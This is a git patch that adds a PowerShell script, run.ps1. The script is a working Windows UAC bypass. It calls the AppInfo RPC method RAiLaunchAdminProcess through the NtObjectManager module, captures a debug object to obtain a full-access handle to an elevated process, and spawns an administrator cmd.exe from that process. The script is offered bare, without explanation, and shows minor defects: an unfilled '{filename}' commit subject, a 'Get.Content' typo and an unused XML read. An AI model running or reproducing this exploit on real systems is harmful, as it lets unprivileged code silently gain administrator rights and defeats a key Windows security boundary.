From 29bcf997d8eab4d7838bda199afb2571f7a393e2 Mon Sep 17 00:00:00 2001
From: AdmMabe <1+admmabe@noreply.localhost>
Date: Mon, 22 Jun 2026 16:51:17 +0200
Subject: [PATCH] Add {filename}

---
 run.ps1 | 46 ++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 46 insertions(+)
 create mode 100644 run.ps1

diff --git a/run.ps1 b/run.ps1
new file mode 100644
index 0000000..014137a
--- /dev/null
+++ b/run.ps1
@@ -0,0 +1,46 @@
+# Install the NtObjectManager module from the PowerShell gallery for the current user
+Install-Module "NtObjectManager" -Scope CurrentUser
+
+$rpc = Get-RpcServer "c:\windows\system32\appinfo.dll" | Select-RpcServer -InterfaceId "201ef99a-7fa0-444c-9399-19ba84f12a1a"
+$xmlString = Get.Content .\names.xml -Raw
+Set-RpcServerName $rpc
+$client = Get-RpcClient $rpc
+Connect-RpcClient $client
+
+#RAiLaunchAdminProcess
+function Start-Uac {
+  Param(
+    [Parameter(Mandatory, Position = 0)]
+    [string]$Executable,
+    [switch]$RunAsAdmin
+  )
+
+  $CreateFlags = [NtApiDotNet.Win32.CreateProcessFlags]::DebugProcess -bor `
+        [NtApiDotNet.Win32.CreateProcessFlags]::UnicodeEnvironment
+  $StartInfo = $client.New.APP_STARTUP_INFO()
+
+  $result = $client.RAiLaunchAdminProcess($Executable, $Executable,`
+          [int]$RunAsAdmin.IsPresent, [int]$CreateFlags,`
+          "C:\", "WinSta0\Default", $StartInfo, 0, -1)
+  if ($result.retval -ne 0) {
+    $ex = [System.ComponentModel.Win32Exception]::new($result.retval)
+    throw $ex
+  }
+
+  $h = $result.ProcessInformation.ProcessHandle.Value
+  Get-NtObjectFromHandle $h -OwnsHandle
+}
+
+$p = Start-Uac "c:\windows\system32\notepad.exe"
+$dbg = Get-NtDebug -Process $p
+Stop-NtProcess $p
+Remove-NtDebugProcess $dbg -Process $p
+
+#Create an elevated process
+$p = Start-Uac "c:\windows\system32\taskmgr.exe" -RunAsAdmin
+$ev = Start-NtDebugWait -Seconds 0 -DebugObject $dbg
+$h = [IntPtr]-1
+$new_p = Copy-NtObject -SourceProcess $ev.Process -SourceHandle $h
+Remove-NtDebugProcess $dbg -Process $new_p
+
+New-Win32Process "cmd.exe" -ParentProcess $new_p -CreationFlags NewConsole
\ No newline at end of file